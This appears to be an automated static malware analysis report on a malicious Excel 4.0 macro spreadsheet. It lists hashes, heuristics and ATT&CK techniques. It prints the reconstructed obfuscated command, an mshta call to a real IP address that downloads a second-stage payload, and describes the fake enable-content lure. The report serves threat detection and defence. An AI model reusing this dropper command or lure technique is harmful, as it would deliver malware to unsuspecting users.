Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 750547eea71bfa1a…

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: ece77eb2c7a043cd30b308d3375ce76e SHA-1: 44692bea69aa9b2da82304e5c641864fc7b2ef19 SHA-256: 750547eea71bfa1a9b812fcc4f5b5777a1347de1e37560020ab8d4d43f177202
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro attempts to lure the user into enabling content by displaying a fake protection message. The reconstructed command is 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html', which downloads a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1391 bytes

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